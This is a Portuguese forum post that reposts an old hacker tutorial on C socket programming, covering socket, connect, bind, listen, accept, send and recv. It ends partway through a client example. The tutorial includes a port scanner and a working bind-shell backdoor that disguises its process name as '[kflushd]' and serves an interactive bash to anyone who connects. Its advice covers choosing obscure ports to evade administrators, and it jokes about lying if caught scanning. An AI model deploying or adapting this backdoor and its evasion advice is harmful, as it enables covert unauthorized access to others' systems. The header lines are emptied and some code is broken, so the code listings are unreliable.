Galera eu estava verificando minha pasta de apostilas e tutoriais e encontrei essa raridade perdida no meio de tantos documentos e resolvi colocar no 4shared pra vcs mais o mesmo esta off então colei na postagem msm.
Tutorial:
Tutorial:
-------------------------- FASE I - O
PARTO -------------------------
---------------------------------------
*** SOCKETS - O QUE SAO E P/ Q SERVEM!
|
---------------------------------------
Nao vou me aprofundar descrevendo a
origem e a necessidade do surgimento
dos sockets..vamos agir de forma
pratica,mas teoria sempre é bom, peskise
se tiver tempo, pois esse assunto é
fascinante.
Os sockets sao os programas
responsaveis pela comunicação ou interligação
de outros programas na internet, por
exemplo.Quando você se conecta a um
servico qualquer tipo(telnet) você está
usando um socket, no caso chama-se
a rotina socket() como cliente do teu
lado..e do lado do host com servico
uma rotina de socket servidor.Acredito
se chegou até akí é pq já sabe
disso tudo, e quer ir mais alem. De
forma pratica, quando você executa
um exploit remoto,vc usa um socket,
quando vc cria um trojan remoto, usa-se
um socket, quando vc captura pacotes
externamente vc usa um socket, etc....
----------------------
*** TIPOS DE SOCKETS! |
----------------------
Existe alguns tipos de sockets,mas por
enquanto vamos nos ater apenas a 2,
os dois mais simples..de modo que se vc
kiser ir mais alem e escrever
programas que se utilizem de RAW
SOCKETS, paciencia irmao, ainda não é
dessa vez que escreveremos para vc. Os
tipos de sockets que iremos trabalhar
sao os "Stream Sockets" e os
"Datagram Sockets", eles também sao conhecidos
como "SOCK_STREAM" e
"SOCK_DGRAM", respectivamente.
+ Stream Sockets usam TCP, sao usados
em diversar aplicações como telnet,www,
etc.Os pacotes aqui sao sequenciais,
seguem em 2 vias,você pode ler e gravar.
+ Datagrams Sockets usam UDP.Os pacotes
aqui não sao sequenciais,opera em
1 via,você só pode ler ou gravar,nunca
as 2 coisas.
A utilidade pratica de cada um deles
você verá logo em breve.Outros
tipos conhecidos de sockets sao: SOCK_SEQPACKET
e SOCK_RDM, veremos mais
sobre esses daí num futuro txt.
-------------
*** HEADERS |
-------------
Existem alguns headers usados em
conjunto para facilitar ao maximo a programação
de sockets..Eis alguns akí:
#include
#include
#include
#include
Lembre-se:"Dependendo da situação
você poderá necessitar de mais headers.
Por isso amigo,as man pages sempre
serão suas amigas. Antes de
usar uma função,leia a respectiva
man page da mesma."
----------------------------
*** DECLARANDO UM SOCKET! |
----------------------------
P/ se declarar um socket não tem muito
segredo.Ele é do tipo int, declara-se
normalmente.Ex:
main(){
int Meusocket;
...
}
-------------------------
*** DEFININDO ESTRUTURA |
-------------------------
Os dados necessarios do host a que se
ker comunicar, sao definidos atraves
de uma struct.A struct usada para
conexões na internet é a sockaddr_in, e
possui a seguinte declaração:
struct sockaddr_in {
short int sin_family; /* Familia do endereco */
unsigned short int
sin_port; /* Numero da porta */
struct in_addr
sin_addr; /* IP do Host */
unsigned char sin_zero[8]; /* Zera a estrutura, algum espaco como
struct
sockaddr */
}
sin_family pode ser uma variedade de
coisas, mas geralmente se usam uma
dessas aqui:
+ AF_INET (ARPA INTERNET PROTOCOLS) - "A mais
usada"
+ AF_UNIX (UNIX INTERNET PROTOCOLS)
+ AF_ISO (ISO PROTOCOLS)
+ AF_NS (XEROX NETWORK SYSTEM PROTOCOLS)
Ai ficaria algo como:
main(){
int Meusocket;
struct sockaddr_in vitima;
..
}
---------------------------
*** CONSTRUINDO UM SOCKET |
---------------------------
Bem podemos dar inicio na pratica a
contrução de um socket.A Contrução de
um socket segue o modelo:
Meusocket = socket(sin_family,
tipo_do_socket_desejado,Numero_protocolo);
Onde:
sin_family sao essas já explicadas
acima;
tipo_do_socket_desejado, no nosso caso
SOCK_STREAM ou SOCK_DGRAM;
Numero_protocolo é o número
correspondente do protocolo q se vai
trabalhar,ex:
0 - IP - INTERNET PROTOCOL
1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL
2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL
3 - GGP - GATEWAY-GATEWAY
PROTOCOL
6 - TCP - TRANSMISSION CONTROL PROTOCOL
17 - UDP - USER DATAGRAMA PROTOCOL
Um exemplo pratico seria:
main(){
int Meusocket; /* Declarando a variavel socket */
..
Meusocket = socket(AF_INET,SOCK_STREAM,0);
..
}
Feito a declaração e a contrução do
arquivo socket, nos seguimos adiantes
contruindo a struct com dados do host
que se deseja, nosso caso a vitima.
Ficaria um esquema igual a esse:
struct sockaddr_in vitima;
vitima.sin_family = AF_INET /* Nossa sin_family no exemplo acima */
vitima.sin_porta = htons(PORTA) /* Aqui
o esquema é o seguinte:
htons significa "host to network short", como
é short trabalha com 2 bytes,mas ha ainda
outros tipos
como: htonl("host to network
long",4 bytes), ntós("network to host
short",2 bytes), ntól("network to host
long", 4 bytes). */
vitima.sin_addr.s_addr =
inet_addr(ip_da_vitima);/*Aqui ocorre a aquisição do
endereco ip da vitima, como na
declaração acima em struct
sockaddr_in, aqui é somente o
ip, não ainda o dominio */
bzero(&(vitima.sin_zero),8); /*
Zera o resto da estrutura */
Vamos ver agora como de fato está nosso
exemplo inicial:
/* acrescente os headers necessarios */
main(){
int Meusocket;
struct sockaddr_in vitima;
Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma
simples checagem de erro */
{
perror("Socket");
exit(1);
}
vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}
Vamos caminhando mais a frente, já
temos declarado e construido o arquivo
socket, no caso Meusocket, e a struct
de conexão, no caso a vitima.Agora
vamos para uma função muito usada na
conexão, a função connect(), que fará
o elo entre o "Meusocket" e a
"vitima".
------------------------
*** A função CONNECT() |
------------------------
Essa é a conhecida função responsavel
pela conexão telnet(essa que muita
gente usa para fins nada
convencionais).Essa função,como o proprio nome, diz
é a função responsavel pela conexão de
seu socket cliente, com um servico
servidor qualquer.
Os headers necessarios para o uso dessa
função sao:
#include
#include
Uma vez declarado os headers..vamos
declarar a função propriamente dita:
int connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));
De forma bem pratica,declaramos a
função connect(),onde:
+ Meusocket -> nosso arquivo socket.
+ vitima -> O host que queremos
conectar(struct).
Como podemos ver, não é tao complicado
assim..fazer o dito cujo,mas
se já chegamos até aqui,podemos mostrar
um exemplo pratico de tudo
que foi escrito aí em cima..mas
calma,primeiro veremos como ficou nosso
programa por inteiro.
/* headers necessarios */
#include
#include
#include
#include
main(){
int Meusocket;
struct sockaddr_in vitima;
int Conector;
Meusocket =
socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma
simples checagem de erro */
{
perror("Socket");
exit(1);
}
vitima.sin_family =
AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr =
inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
Conector =
connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));
if(Conector < 0) /* Mais uma
checagem de erro */
{
perror("Connect");
exit(1);
}
}
Voce agora deve estar se perguntando,se
já sei como declarar um socket(),
sei fazer a struct da vitima, e também
já sei me conectar em alguma coisa
entao, o que posso eu fazer com isso
tudo?? Calma amigo..abaixo segue umas
bobagens a mais,mas com o basico aí em
cima você já pode fazer muita
coisa... Ha quem diga que não..mas
vamos lá.
------------------------------------------------
*** ALGUMAS BOBAGENS P/ MOSTRAR EXEMPLO
PRATICO |
------------------------------------------------
Segue agora algumas função que não não
necessarias,mas que vao ajudar
a "embelezar" o exemplo que
se seguirá, para que não haja duvidas quanto
o conhecimento do autor, e visando o
esclarecimento de algumas coisa que
de fato sao uteis.
+ função gethostbyname();
-------------------------
Por frescurite ou não,as vezes você
quer ao inves de digitar o ip da
vitima(host que se quer conectar ou
etc), você quer digitar seu domain.
Exemplo: ao inves de digitar 127.0.0.1
você prefere digitar localhost.
Muitas aplicações seguem esse
esquema..bem, para que isso possa ocorrer,
como estamos trabalhando com C, usamos
uma função chama gethostbyname(),
essa função é declarada da seguinte
forma:
#include /* Talvez haja
variação desse header, bom dar um man
gethostbyname para se certificar,mano!! */
struct hostent *
gethostbyname(char *name);
Como se pode ver ele retorna um
ponteiro para uma struct que possui a
seguinte declaração:
#define h_addr h_addr_list[0] /* endereco, para combatibilizar
o
modo inverso(reverso) */
struct
hostent {
char *h_name; /* Nome oficial do host */
char **h_aliases; /* Lista de aliases */
int h_addrtype; /* Tipo de endereco do host */
int h_length; /* Tamanho do endereco */
char **h_addr_list; /* Lista de enderecos do
servidor de nomes */
};
Vamos analisar agora cada membro da
estrutura:
h_name
-> Nome oficial do host.
h_aliases -> Uma array terminada em
zero de nomes alternados para o host.
h_addrtype -> O tipo do endereco que
está sendo retornado.Ex: AF_INET.
h_length -> O Tamanho em bytes do endereco.
h_addr_list -> Uma array terminada
em zero do endereco da rede para o host.
O endereco do Host é retornado
em nbo(network byte order).
e a definição:
h_addr
-> Eh o primeiro endereco em h_addr_list; Isto é para
compatibilizar o modo inverso,ou a
inversao.Quando você digita
localhost saber que é 127.0.0.1, por
exemplo.
+ função getservbyport();
------------------------
O proprio nome também já denuncia essa
daí. Essa função envia ou diz
para você qual o servico que está
rodando numa determinada porta,usando
como referencia o seu arquivo
/etc/services. Eh bo manter esse arquivo
integro,senão receberá resultados
errados no exemplo que logo seguirá.
Mas vamos lá, a função getservbyport()
segue declarada desse jeito:
#include /* Header necessario..lembre-se, man pages */
struct servent *getservbyport(int port, const char *proto);
A estrutura servent é definida da
seguinte forma em :
struct servent {
char
*s_name; /* Nome oficial do
servico */
char **s_aliases; /* Lista de aliases */
int s_port; /* Numero da porta */
char *s_proto;
/* Protocolo para usar */
}
analizando:
s_name
-> Nome oficial do servico. Ex: ftp,telnet,echo.
s_aliases -> Um lista terminada em
zero de nomes alternativos para o
servico.
s_port -> O número da porta
referente ao servico, dado em NBO(Network
Byte Order)
s_proto
-> O nome do protocolo para usar com este servico.
------------------------------
*** PRIMEIRO EXEMPLO PRATICO |
------------------------------
Bem, com as instruções acima, já
podemos fazer algumas coisinhas,a
utilidade varia conforme o cerebro que
está usando as informações
acima ditas. Abaixo segue um exemplo de
um portscan, que scaneia usando
a função connect(). Esse metodo é muito
usado ainda, mas não é um bom
método, pois é de fácil detecção. Mas
pela facilidade com que se escreve
um programa desse tipo,será nosso
primeiro exemplo, mais a frente nós
veremos coisas mais úteis, e mais
complexas.Esse portscan serve somente
para serviços tcp, pois usa
SOCK_STREAM, já explicado acima.
-----------------------Exemplo de portscan-------------------------------
/* Simples PortScan usando a função
connect().
Desenvolvido por Nash Leon. Unsekurity Team.
Thanks Ramona.
compila com: $ gcc -o portscan
portscan.c
ou como bem quiser.
*/
/* Headers necessarios */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* Definição das portas(inicial e
final) caso estas não sejam
digitadas na linha de comando */
#define PORTA_INICIAL 1
#define PORTA_FINAL 7000
main(int argc, char *argv[])
{
char
host[15], *ip;
int
porta_inicial, porta_final, portas, i,meusocket;
struct sockaddr_in vitima;
struct hostent *he;
struct servent *servico;
if (argc == 1)
{
fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"*************Simples
PortScan usando Connect()************\n");
fprintf(stderr,"****************Desenvolvido
por Nash Leon****************\n");
fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"Uso:
%s
\n",argv[0])
;exit(0);
}
if
(argc > 1)
{
porta_inicial
= PORTA_INICIAL;
porta_final
= PORTA_FINAL;
}
if
(argc > 2)
{
porta_inicial
= atoi (argv[2]);
porta_final
= atoi (argv[3]);
}
/*
Aqui tem inicio o scaneamento, comecando a contagem com porta_inicial
e terminando em porta_final */
for
(portas = porta_inicial; portas < porta_final; portas++){
/* Declaração de gethostbyname */
he =
gethostbyname(argv[1]);
if(he == NULL)
{
printf("Erro:
Host Desconhecido!!\n");
exit(-1);
}
/*
Declaração do arquivo socket */
meusocket = socket(AF_INET, SOCK_STREAM,0);
if(meusocket < 0)
{
perror("Socket");
exit(1);
}
/*
Abaixo a declaração da estrutura da vitima */
vitima.sin_family
= he->h_addrtype; /* Tipo do endereco retornado,no caso AF_INET. */
vitima.sin_port =
htons(portas);
vitima.sin_addr =
*((struct in_addr *)he->h_addr); /* P/ compatibilizar o processo inverso */
bzero(&(vitima.sin_zero), 8);
/*
função connect(), ela vai se conectar a porta do host vitima, se
receber uma resposta negativa, no caso (-1),
ela fecha o socket, mas
como estamos dentro de um processo for,
abrira outro socket com outra
porta, e quando a resposta da vitima for
positiva (0), seguira a
diretiva else
abaixo. */
if(connect(meusocket,(struct
sockaddr * )&vitima, sizeof(vitima)) == -1)
{
close(meusocket);
}
/*
Aqui temos getservbyport nos dizendo qual servico corresponde a porta
que foi encontrada aberta.Se servico for
igual a NULL, teremos
"Desconhecido como saida, senão, ele
nos dirá o servico,baseado em
nosso /etc/services */
else
{
servico
= getservbyport(htons(portas),"tcp");
printf("A
porta %d esta aberta mano!! O Servico é [%s]\n",portas,(servico == N
ULL)
? "Desconhecido" : servico-> s_name);
}
close(meusocket);
}
}
---------------------fim do primeiro
exemplo-----------------------------
OBS: Bem amigo, não é aconselhável você
usar esse programa descrito acima
para outros propósitos, a não
ser aprender a construir e trabalhar com
sockets. Primeiro, não tenho certeza, mas scanear uma rede deve ser
ilegal, vai aí um toque, qualquer coisa digam: "Um amigo disse que
era administrador da rede e pediu para eu scanear a rede para ele,pois
ele não tinha scanner! -Mas que amigo? -Um que conheci no irc!!
:)";
Segundo, existem ferramentas melhores e bem mais poderosas que essa,
tais como nmap, queso, etc... que já vem prontinhas para esses fins;
Terceiro, com o aumento dos sistemas de detecção, com o advento de bons
firewalls, e com a "capacitação" do pessoal da seguranca, essa
técnica descrita acima não é nada boa. Mais embaixo veremos algumas
ferramentas e teorias mais interessantes. Pegue o conceito, um dia
você talvez terá que fazer seu próprio scanner stealph (que não se
deixa logar, invisível).
Vamos seguindo em frente nessa jornada
em busca de coisas mais práticas
nos nossos dias. Chegamos na fase 2 do
nosso jogo com sockets, essa fase
é interessante, se você tem muitos
neurônios, não hesite em queimá-los,
mas se só tiver o tico-e-teco, como
eu,:), aí vai umas coisinhas que
aprendi botando os 2 para trabalhar.
Depois seguirá outro exemplo prático
com as declarações abaixo:
----------------------- FASE 2 -
ENGATINHANDO --------------------------
*** A função bind() |
Une um nome ao seu socket.
De modo bem prático, essa função serve
para associar uma porta em sua
máquina local para o seu socket. Essa
função é muito usada com outra
função, a listen(), mais na frente
veremos algo sobre essa função.
A função bind() é muito usada em
servidores, socket servidor.
Veremos agora como é declarada essa
função:
/* Headers necessários, veja man bind()
*/
#include
#include
int bind(int Meusocket, struct sockaddr *local, int addrlen);
onde:
+ Meusocket -> Nosso velho
conhecido, o mesmo dos casos anteriores.
+ local -> O esquema aqui é o seguinte, ao
invés de declarar
como sendo vítima,
declararemos como o endereço
local, não o remoto. a
estrutura será toda voltada
para a máquina local, onde
vai ser executado o programa.
+ addrlen -> Tamanho do tipo da
estrutura que está se trabalhando,
geralmente usa-se sizeof(struct sockaddr).
Eis o básico dessa função. Abaixo segue
um exemplo de declaração da mesma
dentro de um programa qualquer:
/* Headers */
#include
#include
#include
#define MINHA_PORTA 20000
main(){
int Meusocket;
struct sockaddr_in
meu_endereco;
Meusocket = socket
(AF_INET,SOCK_STREAM,0);
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);
bind(Meusocket,(struct
sockaddr *)&local,sizeof(struct sockaddr));
...
}
Podemos notar que a declaração é
semelhante ao esquema do primeiro caso,
onde ao invés de meu_endereco, nós
tinhamos vítima. Para nossos objetivos
meu_endereco refere-se ao endereço
local, da makina onde se executa o
programa, e vítima se refere a um
endereço remoto. Veremos mais adiante
que o que eu disse aí pode confundir,
pois depende do modo como se vê as
coisas, fique atento e não terá
problemas. Leve em consideração apenas
os processos cliente e servidor, acho
que assim é melhor..:).
----------------------
*** A FUNÇÃO listen() |
----------------------
Essa função também não tem nada demais.
O seu nome também já diz o porque
de se usar ela. Ela escuta ou melhor
dizendo, espera uma determinada
conexão em um socket. Para aceitar uma
conexão, um socket é primeiro criado
usando a função socket(), após a
criação do mesmo, a função listen() entra
para setar o número de conexões que
serão permitidas para determinado serviço.
Um exemplo prático disso é o uso de
ftps que permitem até 20 conexões
por exemplo. Você entra e recebe uma
mensagem tipo: "Voce é o #5 usuário
de 20!", coisa desse tipo. A
função listen() é muito usada em servidores
haja visto essa necessidade, mas
existem outras utilidades também para ela
que são úteis para os nossos
propósitos. Veremos isso depois.
A função listen() é declarada da
seguinte forma:
/* Header */
#include
int listen(int Meusocket, int backlog);
onde:
+ Meusocket -> Nosso amigo de novo,o
mesmo de sempre.
+ backlog -> backlog é um número inteiro responsável
pelo total
de conexões que serão permitidas
para o serviço. Muitos
sistemas limitam esse número até
20, você pode ficar
limitado de 5 a 10. As conexões
futuras ficarão esperando
até que o servidor aceite, para
isso usa-se a função
accept(), que explicaremos mais
abaixo.
Como iremos permitir mais de uma
conexão, se faz necessário que declaremos
um outro socket() que será o
responsável pelas futuras requisições de
conexão. Poderiamos deixar para definir
com a função accept(), porque esse
novo socket só será aceito após o
primeiro, mas em todo caso, ele já vai
declarado abaixo para facilitar as
coisas.
Um esquema prático para a nossa função
listen, seria usá-la em conjunto com
a função bind() descrita acima. Ficaria assim:
/* Headers */
#include
#include
#include
#define MINHA_PORTA 20000
main(){
int Meusocket;
int NovoSocket;/* Este espera a vez
dele, listen o enumerará para que faça
a conexão
depois */
struct sockaddr_in local;
/* Declaração de Meusocket e da
estrutura que fechará a conexão
no caso "local" */
Meusocket = socket (AF_INET,SOCK_STREAM,0);
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);
bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));
listen(Meusocket,5);
...
}
Bem, nosso exemplo é só demonstrativo,
para irmos com calma, não dá para
fazer muita coisa com isso daí, mas
veremos agora uma outra função
muito importante muito usada em sockets
servidores.
-----------------------
*** A função accept() |
-----------------------
Essa função também não tem muito
segredo, ela é a função responsável
por aceitar uma conexão em um socket.
Um socket cliente pede permissão
para um socket servidor para que ambos
se comuniquem, essa função será a
que decidirá o futuro da conexão, se
aceita ou rejeita.
Vamos a declaração dela:
/* Headers */
#include
#include
int accept(int Meusocket, struct
sockaddr *remoto,socklen_t
*remotolen);
onde:
+ Meusocket -> É o socket do
servidor, o nosso exemplo das seções acima.
+ remoto -> Aqui o esquema é o seguinte, será o
endereço remoto, como
nós estamos fazendo o papel de
servidor, esse dito cujo seria
o cliente no caso. Poderia se
referir a ele também como remoto,
já que a estrutura que
declaramos é a local.
+remotolen -> É o tamanho da estrutura que se está
trabalhando.
Trabalharemos com sockaddr_in,
logo seria
sizeof(struct sockadd_in).
Veremos como ficaria o esquema de um
simples socket servidor agora:
/* Headers */
#include
#include
#include
#include
#include
/* Segue definição da porta e do número
de conexões que serão
permitidas a mesma, chamada aqui de BACKLOG. */
#define MINHA_PORTA
20000
#define BACKLOG
5
main(){
int Meusocket,
Novosocket; /* listen() em Meusocket,
nova conexão em
Novosocket */
struct sockaddr_in local;
struct sockaddr_in remoto;
int tamanho;
bzero(&local, sizeof(local)); /* Zera a estrutura */
local.sin_family = AF_INET;
local.sin_port =
htons(29999);
local.sin_addr.s_addr =
INADDR_ANY;/* aqui INADDR_ANY será responsável
por pegar nosso endereço diretamente
do próprio
sistema. */
bzero(&(local.sin_zero),
8);
/*
Declaração do socket() */
Meusocket=socket(AF_INET, SOCK_STREAM, 0);
/* Seguem abaixo declaração de bind() e
listen() */
bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr);
listen(Meusocket, BACKLOG);
tamanho
= sizeof (struct sockaddr_in);/* Declaramos essa variavel para
melhorar o algoritmo tao somente */
while(1)
/* loop essencial para accept() */
/*
Eis aí a função accept()
NovoSocket = accept(Meusocket, (struct sockaddr
*)&remote,&tamanho);
}
O esqueleto acima pode ser bastante
útil, colocaremos abaixo um exemplo
prático das funções descritas nessa
fase. Nada por enquanto de complexo,
acho que nem vai ter, programar sockets
em C não é nem mesmo trabalhoso,
sim, levando em conta que escrevo para
aqueles que passam noites, semanas e
meses em busca de um dia poderem achar
um "furo de reportagem".
Os termos tem variado e alguns até
perderam sentido, mas creio que os
pesquisadores de verdade, antes
chamados "Newbies" merecem sim todo o
respeito e consideração, é para eles
que vão essas linhas de texto, bem
como todos os exemplos práticos. Quanto
a "Elite", como ela sempre esquece
que um dia foi igual a esses
pesquisadores que acabo de mencionar, para ela,
que já possui sua mente
"formada", e muitas das vezes se auto-intitula
anti-ética, nunca ví fuçador de verdade
que não obeça as regras da ética,
mas de qualquer forma, enquanto essa
"Elite" não se unir, a roda não vai
girar, e a seguranca sempre ficará
cantando de galo, como estão hoje em dia,
tem gente que trabalha na segurança das
grandes companhias e se considera
fuçador!!:)..sei onde vocês andam
fuçando viu!!
Manifestos a parte, a bomba maior virá
depois, vamos seguir com um
exemplo prático de um programa
servidor, mais comumente chamado de
backdoor, mas pode ser também um
trojan, só depende de nossos neurônios.
-----------------------------
*** SEGUNDO EXEMPLO PRÁTICO |
-----------------------------
Esse programa copia uma shell para uma
determinada porta, ele é amplamente
difundido na Internet com o nome de
bindshell, mas possui muitas variações,
para propósitos educacionais eu criei
uma backdoor baseada nesse programa,
de modo que tornasse mais claro o nosso
aprendizado.
--------------------------Backdoor usando
Socket-------------------------
/* Backdoor em Socket simples...by Nash Leon
Thanks Ramona e Unsekurity Team.
nashleon@yáoo.com.br
http://unsekurity.virtualave.net
Compile usando:
$gcc -o back back.c
*/
/* HEADERS */
#include
#include
#include
#include
#include
#include
#include
#include
#define MINHA_PORTA 20000 /* A porta do
servidor */
#define BACKLOG 5 /* Até quantas conexões */
int main(int argc, char *argv[])
{
int Meusocket, Novosocket,
tamanho;
struct sockaddr_in local;
struct sockaddr_in remote;
/*
Cria um processo crianca ou menor, para não necessitar executar
usando & */
if(fork()
== 0){
/*
Aqui segue a esperteza..se alguém der ps aux, top, ou ver os processos
que estao rodando verá o que está copiado
abaixo, no caso [kflushd],
mude isso conforme o sistema onde será
executada a backdoor */
strcpy(argv[0], "[kflushd]");
signal(SIGCHLD,
SIG_IGN);
/* Criando a estrutura local(servidor)
*/
bzero(&local, sizeof(local));
local.sin_family =
AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = INADDR_ANY;
bzero(&(local.sin_zero), 8);
/*
Declaração do socket(),bind() e listen() */
Meusocket=socket(AF_INET, SOCK_STREAM, 0);
bind(Meusocket,
(struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket,
BACKLOG);
tamanho =
sizeof(struct sockaddr_in);
/* O velho while(1) para ser usado com
nosso novo accept() */
while(1)
{
if((Novosocket=accept(Meusocket,
(struct sockaddr *)&remote,&tamanho))==1)
{
perror("accept");
exit(1);
}
if(!fork())
{
close(0);
close(1); close(2);
/*
dup2() aqui é usado para criar uma copia de Novosocket */
dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2);
/* Entao a shell é executada, nesse
caso uma bash
Mude-a para qualquer uma que quiser, e
atenção ao
parâmetro -i, nem todas aceitam shell
interativa */
execl("/bin/bash","bash","-i", (char *)0);
close(Novosocket);
exit(0);
}
}
}
return(0);
}
-------------------------Fim do Segundo
Exemplo-------------------------
Algumas considerações a respeito do
dito cujo aí de cima; Primeiro,
esse dito cujo possui uma porta 20000,
pode ser usado em muitos sistemas
por usuários comuns(não-root),
geralmente as portas baixas só o root
pode manipular, até a porta 1024. Até
para dificultar a percepção de
admin dessa backdoor, é inteligente
colocar numa porta alta,
não muito conhecida, não coloque em
portas elites como 12345 ou 31337,
faça seu próprio esquema; colocarei o
source depois mais interessante; Segundo
quando um cliente se conecta a essa
backdoor, ele caí numa shell com
argumento -i, ou shell interativa, se
não quiser ou o sistema não aceitar
esse argumento, retire-a, isso muda de
sistema e de tipo de shell também;
Terceiro, esse programa não é prático,
já é conhecido, muito conhecido, de
modo que é uma backdoor de fácil
detecção, quando, lógico, o admin é um
cara responsável, existe muita coisa
boa por aí, como backdoors em kernel
modules, em códigos fontes que lhe dão
shell num simples passe de mágica
ou num simples toque de tecla :); bem
como bons rootkits, alguns pouco
conhecidos capazes de tornar você
"invisível" num sistema. Como todos os
exemplos aqui são de propósito
puramente educacional, não nos
responsabilizamos pelo uso dos mesmos.
Creio amigo, que backdoor é
pessoal, como a coisa vem
"esquentando", o pessoal da segurança tem
trabalhado mais, cabe a você pensar
numa backdoor sua mesmo, para
determinado sistema, uma coisa bem
específica, num outro TXT, falaremos
bem mais sobre isso, por enquanto,
pense, pense e pense!
Mas vamos seguindo, chega de conversa
fiada, vamos para a fase 3 desse nosso
joguinho com sockets, uma fase bem
interesssante e vocês saberão o porque.
-------------------- FASE III -
MANDANDO BALA --------------------------
---------------------------
AS FUNÇÕES send() e recv() |
---------------------------
Como sempre, não há misterios, os
próprios nomes também denunciam essas
funções. Essas duas funções são para
comunicação em Stream sockets e
Datagrams sockets. A função send() é
usada para enviar uma mensagem para um
socket, e consequentemente a função
recv() é usada para receber dados em
um socket. A utilidade disso tudo já é
bem evidente quando se manipulam
aplicações que envolvem sockets. veremos
como se declara send() primeiro:
/* Headers */
#include
#include
int send(int Meusocket, const void *msg, size_t len, int flags);
onde:
+ Meusocket -> é o bom e velho arquivo socket, nosso
velho conhecido.
+ *msg
-> é um ponteiro para a
mensagem que queremos enviar.
+ len -> é o tamanho da mensagem. Se a
mensagem é muito grande para
passar atômicamente sobre o
protocolo escolhido, a mensagem
de erro EMSGSIZE é retornada, e
a mensagem não é transmitida.
+ flags -> São parâmetros adicionais,podem
ser:
#define MSG_OOB 0x1
/* processa dados out-of-band */
#define
MSG_DONTROUTE 0x4 /* debuga */
O flag MSG_OOB é usado para enviar dados
out-of-band em sockets
que suportam isso (Ex. SOCK STREAM); o
protocolo escolhido deve
também suportar dados
out-of-band.
O flag MSG_DONTROUTE é usado geralmente
só para diagnosticar
programas.
Uma boa olhada nas man pages de cada
função ajuda bastante, caso haja
dúvidas nisso.
Vimos a declaração da função send(),
veremos agora a função recv(), ela
é similar em muitos aspectos a função
send(). Veremos:
/* Headers */
#include
#include
int recv(int Meusocket, void *buf, int len, unsigned int flags);
onde:
+ Meusocket -> é o socket para ler de outro,no caso,
um socket local.
+ buf -> Aqui é o endereço da área do
buffer.
+ len -> é o tamanho do buffer.
+ flags -> são formados por MSG_OOB e
MSG_PEEK permitindo receber dados
out-of-band e permitindo
espiar dados que entram,
consequentemente. Esta chamada deve ser usada
somente com
sockets do tipo
SOCK_STREAM.
Abaixo seguem mais dois exemplos, estes
envolvendo tudo que foi abordado
até agora. O primeiro exemplo é um
simples socket servidor.
---------------------------Servidor
Simples------------------------------
/* Velhos headers de sempre */
#include
#include
#include
#include
#include
#include
#include
#include
#define MINHAPORTA 20000 /* Porta que os usuarios irão se conectar*/
#define BACKLOG 10 /* Quantas conexões pendentes serão
indexadas */
main()
{
int
Meusocket, Novosocket; /* escuta em
Meusocket, nova conexão
em Novosocket */
struct
sockaddr_in meu_endereco; /*
informação do meu endereco */
struct
sockaddr_in endereco_dele; /* informação do endereco do conector */
int tamanho;
if ((Meusocket =
socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
meu_endereco.sin_family =
AF_INET;
meu_endereco.sin_port = htons(MINHAPORTA);
meu_endereco.sin_addr.s_addr
= INADDR_ANY; /* coloca IP automaticamente */
bzero(&(meu_endereco.sin_zero),
8); /* Zera o resto da estrutura
*/
if (bind(Meusocket, (struct sockaddr *)&meu_endereco, sizeof(struct
sockaddr))== -1)
{
perror("bind");
exit(1);
}
if (listen(Meusocket,
BACKLOG) < 0)
{
perror("listen");
exit(1);
}
while(1) {
tamanho =
sizeof(struct sockaddr_in);
if ((Novosocket =
accept(Meusocket, (struct sockaddr *)&endereco_dele,&tamanho)) < 0){
perror("accept");
continue;
}
printf("Servidor:
chegando conexão de %s\n",inet_ntoa(endereco_dele.sin_addr));
if (!fork()) {
if
(send(Novosocket, "Seja bem vindo!\n", 16, 0) == -1)
{
perror("send");
close(Novosocket);
exit(0);
}
}
close(Novosocket);
while(waitpid(-1,NULL,WNOHANG)
> 0); /* Limpa o processo crianca.fork() */
}
}
----------------------------Servidor
simples------------------------------
Aí está um exemplo de um simples
servidor, o que ele faz é quando alguém
se conectar a ele, ele enviará uma
mensagem pela função send(), no caso
"Seja bem vindo!". Abaixo
segue um esquema que um cliente simples para esse
servidor.
---------------------------Cliente
Simples-------------------------------
/* Headers */
#include
#include
#include
#include
#include
#include
#include
#include
#define PORTA 20000 /* Porta para conectar */
#define MAXDATASIZE 100 /* máximo
número de bytes que poderemos enviar
por vez */
int main(int argc, char *argv[])
{
int Meusocket, numbytes;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in
seu_endereco;
if (argc != 2) {
fprintf(stderr,"Uso:
cliente hostname\n");
exit(1);
}
if
((he=gethostbyname(argv[1])) == NULL)
/* envia host info */
{
herror("gethostbyname");
exit(1);
}
if ((Meusocket =
socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
seu_endereco.sin_family =
AF_INET;
seu_endereco.sin_port = htons(PORTA);
seu_endereco.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(seu_endereco.sin_zero), 8);
if (connect(Meusocket,(struct sockaddr *)&seu_endereco,
sizeof(struct sockaddr)) ==-1)
{
perror("connect");
exit(1);
}
if
((numbytes=recv(Meusocket, buf, MAXDATASIZE, 0)) == -1)
{
perror("recv");
exit(1);
}
